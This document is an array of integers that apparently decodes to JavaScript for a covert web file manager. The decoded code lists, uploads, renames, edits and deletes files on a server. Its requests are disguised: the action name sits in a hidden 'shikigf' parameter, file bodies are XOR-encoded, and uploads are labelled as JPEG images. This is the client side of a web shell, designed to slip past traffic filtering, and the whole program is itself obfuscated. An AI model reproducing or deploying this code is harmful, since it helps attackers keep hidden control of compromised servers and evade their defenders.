7, 77, 83, 19, 88, 85, 90, 72, 72, 115, 90, 86, 94, 25, 6, 25, 28, 103, 77, 83, 25, 93, 90, 83, 92, 94, 87, 28, 0, 25, 93, 94, 85, 7, 77, 83, 19, 77, 94, 65, 77, 120, 84, 83, 77, 94, 83, 77, 25, 6, 25, 28, 125, 94, 85, 94, 77, 94, 28, 0, 54, 63, 25, 25, 25, 25, 93, 94, 85, 7, 77, 83, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 88, 85, 82, 88, 80, 28, 21, 25, 90, 72, 66, 83, 88, 25, 17, 18, 6, 3, 64, 54, 63, 25, 25, 25, 25, 25, 25, 77, 87, 66, 25, 64, 25, 90, 76, 90, 82, 77, 25, 90, 73, 82, 17, 28, 93, 94, 85, 94, 77, 94, 28, 21, 25, 64, 25, 83, 90, 86, 94, 15, 25, 82, 77, 19, 83, 90, 86, 94, 25, 70, 18, 0, 25, 77, 84, 90, 72, 77, 17, 89, 125, 94, 85, 94, 77, 94, 93, 25, 39, 29, 64, 82, 77, 19, 83, 90, 86, 94, 70, 39, 89, 21, 25, 28, 84, 80, 28, 18, 0, 25, 87, 94, 72, 94, 77, 110, 73, 85, 84, 90, 93, 123, 84, 87, 86, 17, 18, 0, 25, 90, 76, 90, 82, 77, 25, 87, 94, 91, 87, 94, 72, 81, 17, 18, 0, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 88, 90, 77, 88, 81, 25, 17, 94, 18, 64, 25, 77, 84, 90, 72, 77, 17, 94, 19, 86, 94, 72, 72, 90, 92, 94, 25, 69, 69, 25, 28, 125, 94, 85, 94, 77, 94, 25, 91, 90, 82, 85, 94, 93, 28, 21, 25, 28, 94, 87, 87, 28, 18, 0, 25, 70, 54, 63, 25, 25, 25, 25, 70, 18, 0, 54, 63, 25, 25, 25, 25, 87, 84, 76, 122, 88, 77, 82, 84, 83, 72, 19, 90, 73, 73, 94, 83, 93, 120, 81, 82, 85, 93, 17, 93, 94, 85, 7, 77, 83, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 90, 88, 77, 82, 84, 83, 72, 19, 90, 73, 73, 94, 83, 93, 120, 81, 82, 85, 93, 17, 87, 84, 76, 122, 88, 77, 82, 84, 83, 72, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 77, 87, 19, 90, 73, 73, 94, 83, 93, 120, 81, 82, 85, 93, 17, 83, 90, 86, 94, 18, 0, 54, 63, 25, 25, 25, 25, 77, 87, 19, 90, 73, 73, 94, 83, 93, 120, 81, 82, 85, 93, 17, 77, 66, 73, 94, 18, 0, 54, 63, 25, 25, 25, 25, 77, 87, 19, 90, 73, 73, 94, 83, 93, 120, 81, 82, 85, 93, 17, 72, 82, 79, 94, 18, 0, 54, 63, 25, 25, 25, 25, 77, 87, 19, 90, 73, 73, 94, 83, 93, 120, 81, 82, 85, 93, 17, 86, 77, 82, 86, 94, 18, 0, 54, 63, 25, 25, 25, 25, 77, 87, 19, 90, 73, 73, 94, 83, 93, 120, 81, 82, 85, 93, 17, 90, 88, 77, 82, 84, 83, 72, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 77, 103, 84, 93, 66, 19, 90, 73, 73, 94, 83, 93, 120, 81, 82, 85, 93, 17, 77, 87, 18, 0, 54, 63, 25, 25, 70, 54, 63, 70, 54, 63, 54, 63, 90, 72, 66, 83, 88, 25, 91, 78, 83, 88, 77, 82, 84, 83, 25, 87, 94, 91, 87, 94, 72, 81, 17, 18, 64, 54, 63, 25, 25, 77, 87, 66, 64, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 95, 25, 6, 25, 90, 76, 90, 82, 77, 25, 90, 73, 82, 17, 28, 85, 82, 72, 77, 28, 18, 0, 54, 63, 25, 25, 25, 25, 72, 77, 90, 77, 94, 19, 73, 90, 77, 81, 25, 6, 25, 95, 19, 73, 90, 77, 81, 0, 54, 63, 25, 25, 25, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 103, 87, 94, 90, 93, 88, 87, 78, 86, 103, 28, 18, 19, 82, 83, 83, 94, 87, 113, 109, 118, 117, 25, 6, 25, 95, 19, 103, 87, 94, 90, 93, 88, 87, 78, 86, 103, 0, 54, 63, 25, 25, 25, 25, 90, 77, 77, 90, 88, 81, 7, 87, 94, 90, 93, 88, 87, 78, 86, 103, 113, 90, 83, 93, 85, 94, 87, 72, 17, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 83, 93, 94, 87, 17, 95, 19, 82, 77, 94, 86, 72, 18, 0, 54, 63, 25, 25, 70, 88, 90, 77, 88, 81, 17, 94, 18, 64, 54, 63, 25, 25, 25, 25, 77, 84, 90, 72, 77, 17, 94, 19, 86, 94, 72, 72, 90, 92, 94, 21, 25, 28, 94, 87, 87, 28, 18, 0, 54, 63, 25, 25, 70, 54, 63, 70, 54, 63, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 90, 77, 77, 90, 88, 81, 7, 87, 94, 90, 93, 88, 87, 78, 86, 103, 113, 90, 83, 93, 85, 94, 87, 72, 17, 18, 64, 54, 63, 25, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 74, 78, 94, 87, 66, 104, 94, 85, 94, 88, 77, 84, 87, 122, 85, 85, 17, 28, 19, 88, 87, 78, 86, 103, 28, 18, 19, 91, 84, 87, 126, 90, 88, 81, 17, 90, 6, 3, 64, 54, 63, 25, 25, 25, 25, 90, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 88, 85, 82, 88, 80, 28, 21, 25, 17, 94, 75, 18, 6, 3, 64, 54, 63, 25, 25, 25, 25, 25, 25, 94, 75, 19, 73, 87, 94, 75, 94, 83, 77, 125, 94, 91, 90, 78, 85, 77, 17, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 73, 25, 6, 25, 90, 19, 92, 94, 77, 122, 77, 77, 87, 82, 103, 78, 77, 94, 17, 28, 93, 90, 77, 90, 22, 73, 90, 77, 81, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 73, 18, 25, 88, 81, 90, 83, 92, 94, 125, 82, 87, 94, 88, 77, 84, 87, 66, 17, 73, 18, 0, 54, 63, 25, 25, 25, 25, 70, 18, 0, 54, 63, 25, 25, 70, 18, 0, 54, 63, 70, 54, 63, 54, 63, 90, 72, 66, 83, 88, 25, 91, 78, 83, 88, 77, 82, 84, 83, 25, 88, 81, 90, 83, 92, 94, 125, 82, 87, 94, 88, 77, 84, 87, 66, 17, 83, 94, 76, 105, 90, 77, 81, 18, 64, 54, 63, 25, 25, 72, 77, 90, 77, 94, 19, 73, 90, 77, 81, 25, 6, 25, 83, 94, 76, 105, 90, 77, 81, 0, 54, 63, 25, 25, 87, 94, 72, 94, 77, 110, 73, 85, 84, 90, 93, 123, 84, 87, 86, 17, 18, 0, 54, 63, 25, 25, 77, 87, 66, 25, 64, 25, 90, 76, 90, 82, 77, 25, 87, 94, 91, 87, 94, 72, 81, 17, 18, 0, 25, 77, 84, 90, 72, 77, 17, 89, 125, 82, 87, 94, 88, 77, 84, 87, 66, 15, 25, 29, 64, 83, 94, 76, 105, 90, 77, 81, 70, 89, 21, 25, 28, 84, 80, 28, 21, 25, 10, 11, 9, 9, 18, 0, 25, 70, 54, 63, 25, 25, 88, 90, 77, 88, 81, 17, 94, 18, 64, 25, 77, 84, 90, 72, 77, 17, 94, 19, 86, 94, 72, 72, 90, 92, 94, 21, 25, 28, 94, 87, 87, 28, 18, 0, 25, 70, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 110, 73, 85, 84, 90, 93, 25, 17, 119, 122, 108, 25, 105, 116, 104, 109, 25, 103, 84, 93, 66, 21, 25, 97, 116, 119, 25, 72, 77, 87, 94, 90, 86, 0, 25, 73, 90, 87, 90, 86, 72, 25, 82, 83, 25, 110, 119, 117, 15, 25, 83, 90, 80, 65, 83, 25, 81, 94, 65, 25, 16, 25, 86, 94, 80, 82, 77, 82, 83, 83, 90, 0, 25, 72, 81, 82, 80, 82, 92, 91, 6, 78, 73, 85, 84, 90, 93, 100, 65, 84, 87, 18, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 78, 73, 85, 84, 90, 93, 123, 84, 87, 86, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 72, 78, 103, 86, 82, 77, 28, 21, 25, 90, 72, 66, 83, 88, 25, 17, 94, 18, 6, 3, 64, 54, 63, 25, 25, 94, 19, 73, 87, 94, 75, 94, 83, 77, 125, 94, 91, 90, 78, 85, 77, 17, 18, 0, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 91, 82, 85, 94, 72, 25, 6, 25, 91, 82, 85, 94, 114, 83, 73, 78, 77, 19, 91, 82, 85, 94, 72, 0, 54, 63, 25, 25, 82, 91, 25, 17, 26, 91, 82, 85, 94, 72, 19, 85, 94, 83, 92, 77, 81, 18, 25, 64, 25, 77, 84, 90, 72, 77, 17, 28, 115, 84, 25, 91, 82, 85, 94, 72, 25, 72, 94, 85, 94, 88, 77, 94, 93, 28, 21, 25, 28, 76, 90, 87, 83, 28, 18, 0, 25, 87, 94, 77, 78, 87, 83, 0, 25, 70, 54, 63, 54, 63, 25, 25, 91, 78, 83, 88, 77, 82, 84, 83, 25, 65, 84, 87, 126, 83, 88, 84, 93, 94, 17, 78, 18, 64, 54, 63, 25, 25, 25, 25, 91, 84, 87, 25, 17, 85, 94, 77, 25, 82, 25, 6, 25, 9, 0, 25, 82, 25, 5, 25, 78, 19, 85, 94, 83, 92, 77, 81, 0, 25, 82, 16, 16, 18, 64, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 80, 94, 66, 25, 6, 25, 17, 17, 82, 25, 31, 25, 10, 12, 18, 25, 16, 25, 118, 90, 77, 81, 19, 91, 85, 84, 84, 87, 17, 118, 90, 77, 81, 19, 85, 84, 92, 17, 82, 25, 16, 25, 23, 18, 25, 31, 25, 118, 90, 77, 81, 19, 105, 114, 25, 31, 25, 10, 9, 9, 9, 18, 18, 25, 27, 25, 9, 65, 123, 123, 0, 54, 63, 25, 25, 25, 25, 25, 25, 78, 96, 82, 102, 25, 99, 6, 25, 80, 94, 66, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 78, 0, 54, 63, 25, 25, 70, 54, 63, 54, 63, 25, 25, 85, 94, 77, 25, 84, 80, 120, 84, 78, 83, 77, 25, 6, 25, 9, 21, 25, 91, 90, 82, 85, 120, 84, 78, 83, 77, 25, 6, 25, 9, 0, 54, 63, 54, 63, 25, 25, 91, 84, 87, 25, 17, 88, 84, 83, 72, 77, 25, 91, 82, 85, 94, 25, 84, 91, 25, 91, 82, 85, 94, 72, 18, 64, 54, 63, 25, 25, 25, 25, 77, 87, 66, 64, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 103, 78, 91, 25, 6, 25, 90, 76, 90, 82, 77, 25, 91, 82, 85, 94, 19, 90, 87, 87, 90, 66, 7, 78, 91, 91, 94, 87, 17, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 78, 25, 25, 25, 6, 25, 65, 84, 87, 126, 83, 88, 84, 93, 94, 17, 83, 94, 76, 25, 110, 82, 83, 77, 1, 122, 87, 87, 90, 66, 17, 103, 78, 91, 18, 18, 0, 25, 20, 20, 25, 97, 116, 119, 25, 17, 85, 84, 92, 25, 16, 25, 244, 185, 18, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 78, 87, 85, 25, 6, 25, 83, 94, 76, 25, 110, 119, 117, 17, 85, 84, 88, 90, 77, 82, 84, 83, 19, 81, 87, 94, 91, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 78, 87, 85, 19, 72, 94, 90, 87, 88, 81, 105, 90, 87, 90, 86, 72, 19, 72, 94, 77, 17, 28, 72, 81, 82, 80, 82, 92, 91, 28, 21, 25, 28, 78, 73, 85, 84, 90, 93, 100, 65, 84, 87, 28, 18, 0, 25, 25, 25, 25, 25, 20, 20, 25, 120, 113, 122, 115, 124, 126, 125, 15, 25, 90, 88, 77, 82, 84, 83, 25, 22, 3, 25, 72, 81, 82, 80, 82, 92, 91, 54, 63, 25, 25, 25, 25, 25, 25, 78, 87, 85, 19, 72, 94, 90, 87, 88, 81, 105, 90, 87, 90, 86, 72, 19, 72, 94, 77, 17, 28, 83, 90, 80, 65, 83, 28, 21, 25, 77, 84, 113, 94, 65, 17, 72, 77, 90, 77, 94, 19, 73, 90, 77, 81, 18, 18, 0, 25, 25, 20, 20, 25, 81, 94, 65, 25, 73, 90, 77, 81, 54, 63, 25, 25, 25, 25, 25, 25, 78, 87, 85, 19, 72, 94, 90, 87, 88, 81, 105, 90, 87, 90, 86, 72, 19, 72, 94, 77, 17, 28, 86, 94, 80, 82, 77, 82, 83, 83, 90, 28, 21, 25, 91, 82, 85, 94, 19, 83, 90, 86, 94, 18, 0, 25, 25, 25, 25, 25, 25, 20, 20, 25, 91, 82, 85, 94, 83, 90, 86, 94, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 87, 94, 72, 25, 25, 6, 25, 90, 76, 90, 82, 77, 25, 91, 94, 77, 88, 81, 17, 78, 87, 85, 19, 77, 84, 104, 77, 87, 82, 83, 92, 17, 18, 21, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 86, 94, 77, 81, 84, 93, 15, 25, 28, 105, 116, 104, 109, 28, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 81, 94, 90, 93, 94, 87, 72, 15, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 28, 120, 84, 83, 77, 94, 83, 77, 22, 109, 66, 73, 94, 28, 15, 25, 28, 82, 86, 90, 92, 94, 20, 95, 73, 94, 92, 28, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 28, 97, 22, 119, 94, 74, 78, 94, 72, 77, 94, 93, 22, 108, 82, 77, 81, 28, 15, 25, 28, 97, 118, 117, 113, 77, 77, 73, 119, 94, 74, 78, 94, 72, 77, 28, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 70, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 103, 84, 93, 66, 15, 25, 78, 54, 63, 25, 25, 25, 25, 25, 25, 70, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 77, 94, 65, 77, 25, 6, 25, 90, 76, 90, 82, 77, 25, 87, 94, 72, 19, 77, 94, 65, 77, 17, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 95, 25, 6, 25, 127, 104, 116, 115, 19, 73, 90, 87, 72, 94, 17, 77, 94, 65, 77, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 26, 95, 19, 84, 80, 18, 25, 77, 81, 87, 84, 76, 25, 83, 94, 76, 25, 126, 87, 87, 84, 87, 17, 95, 19, 94, 87, 87, 84, 87, 25, 69, 69, 25, 28, 110, 73, 85, 84, 90, 93, 25, 91, 90, 82, 85, 94, 93, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 84, 80, 120, 84, 78, 83, 77, 16, 16, 0, 54, 63, 25, 25, 25, 25, 70, 88, 90, 77, 88, 81, 17, 94, 87, 87, 18, 64, 54, 63, 25, 25, 25, 25, 25, 25, 88, 84, 83, 72, 84, 85, 94, 19, 94, 87, 87, 84, 87, 17, 94, 87, 87, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 91, 90, 82, 85, 120, 84, 78, 83, 77, 16, 16, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 70, 54, 63, 54, 63, 25, 25, 87, 94, 72, 94, 77, 110, 73, 85, 84, 90, 93, 123, 84, 87, 86, 17, 18, 0, 54, 63, 25, 25, 82, 91, 25, 17, 84, 80, 120, 84, 78, 83, 77, 18, 25, 77, 84, 90, 72, 77, 17, 89, 110, 73, 85, 84, 90, 93, 94, 93, 25, 29, 64, 84, 80, 120, 84, 78, 83, 77, 70, 25, 91, 82, 85, 94, 17, 72, 18, 89, 21, 25, 28, 84, 80, 28, 18, 0, 54, 63, 25, 25, 82, 91, 25, 17, 91, 90, 82, 85, 120, 84, 78, 83, 77, 18, 25, 77, 84, 90, 72, 77, 17, 89, 29, 64, 91, 90, 82, 85, 120, 84, 78, 83, 77, 70, 25, 78, 73, 85, 84, 90, 93, 17, 72, 18, 25, 91, 90, 82, 85, 94, 93, 89, 21, 25, 28, 94, 87, 87, 28, 18, 0, 54, 63, 25, 25, 90, 76, 90, 82, 77, 25, 87, 94, 91, 87, 94, 72, 81, 17, 18, 0, 54, 63, 70, 18, 0, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 119, 94, 83, 90, 86, 94, 25, 91, 84, 87, 86, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 88, 84, 83, 72, 77, 25, 87, 94, 83, 90, 86, 94, 123, 84, 87, 86, 25, 25, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 87, 94, 83, 90, 86, 94, 123, 84, 87, 86, 28, 18, 0, 54, 63, 88, 84, 83, 72, 77, 25, 84, 85, 93, 115, 90, 86, 94, 114, 83, 73, 78, 77, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 84, 85, 93, 115, 90, 86, 94, 28, 18, 0, 54, 63, 88, 84, 83, 72, 77, 25, 83, 94, 76, 115, 90, 86, 94, 114, 83, 73, 78, 77, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 83, 94, 76, 115, 90, 86, 94, 28, 18, 0, 54, 63, 54, 63, 82, 91, 25, 17, 87, 94, 83, 90, 86, 94, 123, 84, 87, 86, 18, 25, 64, 54, 63, 25, 25, 87, 94, 83, 90, 86, 94, 123, 84, 87, 86, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 72, 78, 103, 86, 82, 77, 28, 21, 25, 90, 72, 66, 83, 88, 25, 17, 94, 18, 25, 6, 3, 25, 64, 54, 63, 25, 25, 25, 25, 94, 19, 73, 87, 94, 75, 94, 83, 77, 125, 94, 91, 90, 78, 85, 77, 17, 18, 0, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 84, 85, 93, 107, 90, 85, 25, 6, 25, 17, 84, 85, 93, 115, 90, 86, 94, 114, 83, 73, 78, 77, 4, 19, 75, 90, 85, 78, 94, 25, 69, 69, 25, 28, 28, 18, 19, 77, 87, 82, 86, 17, 18, 0, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 83, 94, 76, 107, 90, 85, 25, 6, 25, 17, 83, 94, 76, 115, 90, 86, 94, 114, 83, 73, 78, 77, 4, 19, 75, 90, 85, 78, 94, 25, 69, 69, 25, 28, 28, 18, 19, 77, 87, 82, 86, 17, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 84, 85, 93, 107, 90, 85, 25, 69, 69, 25, 26, 83, 94, 76, 107, 90, 85, 18, 25, 64, 25, 77, 84, 90, 72, 77, 17, 28, 105, 85, 94, 90, 72, 94, 25, 91, 82, 85, 85, 25, 103, 84, 77, 81, 25, 83, 90, 86, 94, 72, 19, 28, 21, 25, 28, 76, 90, 87, 83, 28, 18, 0, 25, 87, 94, 77, 78, 87, 83, 0, 25, 70, 54, 63, 54, 63, 25, 25, 25, 25, 77, 87, 66, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 90, 76, 90, 82, 77, 25, 90, 73, 82, 17, 28, 87, 94, 83, 90, 86, 94, 28, 21, 25, 64, 25, 84, 85, 93, 15, 25, 84, 85, 93, 107, 90, 85, 21, 25, 83, 94, 76, 15, 25, 83, 94, 76, 107, 90, 85, 25, 70, 18, 0, 25, 20, 20, 25, 72, 81, 82, 80, 82, 92, 91, 25, 81, 90, 83, 93, 85, 94, 93, 25, 82, 83, 25, 90, 73, 82, 17, 18, 54, 63, 25, 25, 25, 25, 25, 25, 77, 84, 90, 72, 77, 17, 89, 119, 94, 83, 90, 86, 94, 93, 25, 39, 29, 64, 84, 85, 93, 107, 90, 85, 70, 39, 25, 231, 187, 183, 25, 39, 29, 64, 83, 94, 76, 107, 90, 85, 70, 39, 89, 21, 25, 28, 84, 80, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 84, 85, 93, 115, 90, 86, 94, 114, 83, 73, 78, 77, 19, 75, 90, 85, 78, 94, 25, 6, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 83, 94, 76, 115, 90, 86, 94, 114, 83, 73, 78, 77, 19, 75, 90, 85, 78, 94, 25, 6, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 90, 76, 90, 82, 77, 25, 87, 94, 91, 87, 94, 72, 81, 17, 18, 0, 54, 63, 25, 25, 25, 25, 70, 25, 88, 90, 77, 88, 81, 25, 17, 94, 87, 87, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 77, 84, 90, 72, 77, 17, 94, 87, 87, 19, 86, 94, 72, 72, 90, 92, 94, 25, 69, 69, 25, 28, 119, 94, 83, 90, 86, 94, 25, 91, 90, 82, 85, 94, 93, 28, 21, 25, 28, 94, 87, 87, 28, 18, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 70, 18, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 126, 93, 82, 77, 84, 87, 25, 97, 116, 119, 25, 17, 72, 90, 75, 94, 25, 84, 83, 85, 66, 18, 25, 231, 185, 173, 25, 72, 94, 83, 93, 25, 7, 90, 72, 94, 11, 13, 25, 17, 94, 65, 82, 72, 77, 82, 83, 92, 25, 94, 93, 82, 77, 84, 87, 25, 73, 87, 84, 77, 84, 88, 84, 85, 18, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 94, 93, 82, 77, 84, 87, 112, 94, 66, 17, 82, 18, 64, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 81, 25, 6, 25, 17, 17, 82, 31, 8, 10, 25, 16, 25, 12, 18, 25, 3, 3, 3, 25, 9, 18, 19, 77, 84, 104, 77, 87, 82, 83, 92, 17, 10, 11, 18, 0, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 85, 90, 72, 77, 23, 25, 6, 25, 81, 19, 72, 85, 82, 88, 94, 17, 22, 23, 18, 0, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 81, 65, 25, 6, 25, 73, 90, 87, 72, 94, 114, 83, 77, 17, 85, 90, 72, 77, 23, 25, 69, 69, 25, 28, 9, 28, 21, 25, 10, 11, 18, 0, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 80, 25, 6, 25, 17, 17, 81, 65, 25, 99, 25, 17, 82, 25, 27, 25, 9, 65, 123, 123, 18, 18, 25, 16, 25, 118, 90, 77, 81, 19, 91, 85, 84, 84, 87, 17, 118, 90, 77, 81, 19, 85, 84, 92, 10, 9, 17, 82, 25, 16, 25, 8, 18, 25, 31, 25, 2, 12, 18, 18, 25, 27, 25, 9, 65, 123, 123, 0, 54, 63, 25, 25, 87, 94, 77, 78, 87, 83, 25, 80, 0, 54, 63, 70, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 94, 93, 82, 77, 84, 87, 126, 83, 88, 84, 93, 94, 109, 84, 7, 82, 83, 90, 87, 66, 104, 77, 87, 82, 83, 92, 17, 72, 77, 87, 18, 64, 54, 63, 25, 25, 85, 94, 77, 25, 84, 78, 77, 25, 6, 25, 96, 102, 0, 54, 63, 25, 25, 91, 84, 87, 25, 17, 85, 94, 77, 25, 82, 25, 6, 25, 9, 0, 25, 82, 25, 5, 25, 72, 77, 87, 19, 85, 94, 83, 92, 77, 81, 0, 25, 82, 16, 16, 18, 64, 54, 63, 25, 25, 25, 25, 88, 84, 83, 72, 77, 25, 88, 84, 93, 94, 25, 6, 25, 72, 77, 87, 19, 88, 81, 90, 87, 120, 84, 93, 94, 122, 77, 17, 82, 18, 25, 27, 25, 9, 65, 123, 123, 0, 54, 63, 25, 25, 25, 25, 84, 78, 77, 19, 73, 78, 72, 81, 17, 104, 77, 87, 82, 83, 92, 19, 91, 87, 84, 86, 120, 81, 90, 87, 120, 84, 93, 94, 17, 88, 84, 93, 94, 25, 99, 25, 94, 93, 82, 77, 84, 87, 112, 94, 66, 17, 82, 18, 18, 18, 0, 54, 63, 25, 25, 70, 54, 63, 25, 25, 87, 94, 77, 78, 87, 83, 25, 84, 78, 77, 19, 95, 84, 82, 83, 17, 28, 28, 18, 0, 54, 63, 70, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 103, 11, 13, 126, 83, 88, 84, 93, 94, 7, 82, 83, 90, 87, 66, 17, 72, 77, 87, 18, 64, 25, 87, 94, 77, 78, 87, 83, 25, 103, 77, 84, 90, 17, 72, 77, 87, 18, 0, 25, 70, 54, 63, 54, 63, 88, 84, 83, 72, 77, 25, 94, 93, 82, 77, 84, 87, 118, 84, 93, 90, 85, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 94, 93, 82, 77, 84, 87, 118, 84, 93, 90, 85, 28, 18, 0, 54, 63, 88, 84, 83, 72, 77, 25, 94, 93, 82, 77, 84, 87, 122, 87, 94, 90, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 94, 93, 82, 77, 84, 87, 122, 87, 94, 90, 28, 18, 0, 54, 63, 88, 84, 83, 72, 77, 25, 94, 93, 82, 77, 84, 87, 109, 82, 77, 85, 94, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 94, 93, 82, 77, 84, 87, 109, 82, 77, 85, 94, 28, 18, 0, 54, 63, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 94, 93, 82, 77, 84, 87, 120, 85, 84, 72, 94, 28, 18, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 88, 85, 82, 88, 80, 28, 21, 25, 17, 18, 6, 3, 64, 25, 87, 94, 72, 94, 77, 110, 73, 85, 84, 90, 93, 123, 84, 87, 86, 17, 18, 0, 25, 88, 85, 84, 72, 94, 126, 93, 82, 77, 84, 87, 17, 18, 0, 25, 70, 18, 0, 54, 63, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 94, 93, 82, 77, 84, 87, 104, 90, 75, 94, 28, 18, 19, 90, 93, 93, 126, 75, 94, 83, 77, 117, 82, 72, 77, 94, 83, 94, 87, 17, 28, 88, 85, 82, 88, 80, 28, 21, 25, 72, 90, 75, 94, 126, 93, 82, 77, 84, 87, 18, 0, 54, 63, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 84, 73, 94, 83, 126, 93, 82, 77, 84, 87, 17, 83, 90, 86, 94, 18, 64, 54, 63, 25, 25, 94, 93, 82, 77, 84, 87, 109, 82, 77, 85, 94, 19, 77, 94, 65, 77, 120, 84, 83, 77, 94, 83, 77, 25, 6, 25, 28, 126, 93, 82, 77, 15, 25, 28, 25, 16, 25, 83, 90, 86, 94, 0, 54, 63, 25, 25, 94, 93, 82, 77, 84, 87, 122, 87, 94, 90, 19, 75, 90, 85, 78, 94, 25, 6, 25, 28, 117, 84, 90, 93, 82, 83, 92, 231, 185, 155, 28, 0, 54, 63, 25, 25, 94, 93, 82, 77, 84, 87, 118, 84, 93, 90, 85, 19, 72, 77, 66, 85, 94, 19, 93, 82, 72, 73, 85, 90, 66, 25, 6, 25, 28, 91, 85, 94, 65, 28, 0, 54, 63, 25, 25, 72, 77, 90, 77, 94, 19, 94, 93, 82, 77, 82, 83, 92, 19, 83, 90, 86, 94, 25, 6, 25, 83, 90, 86, 94, 0, 54, 63, 25, 25, 90, 73, 82, 17, 28, 87, 94, 90, 93, 28, 21, 25, 64, 25, 83, 90, 86, 94, 25, 70, 18, 54, 63, 25, 25, 25, 25, 19, 77, 81, 94, 83, 17, 95, 25, 6, 3, 25, 64, 25, 94, 93, 82, 77, 84, 87, 122, 87, 94, 90, 19, 75, 90, 85, 78, 94, 25, 6, 25, 95, 19, 88, 84, 83, 77, 94, 83, 77, 25, 69, 69, 25, 28, 28, 0, 25, 70, 18, 54, 63, 25, 25, 25, 25, 19, 88, 90, 77, 88, 81, 17, 94, 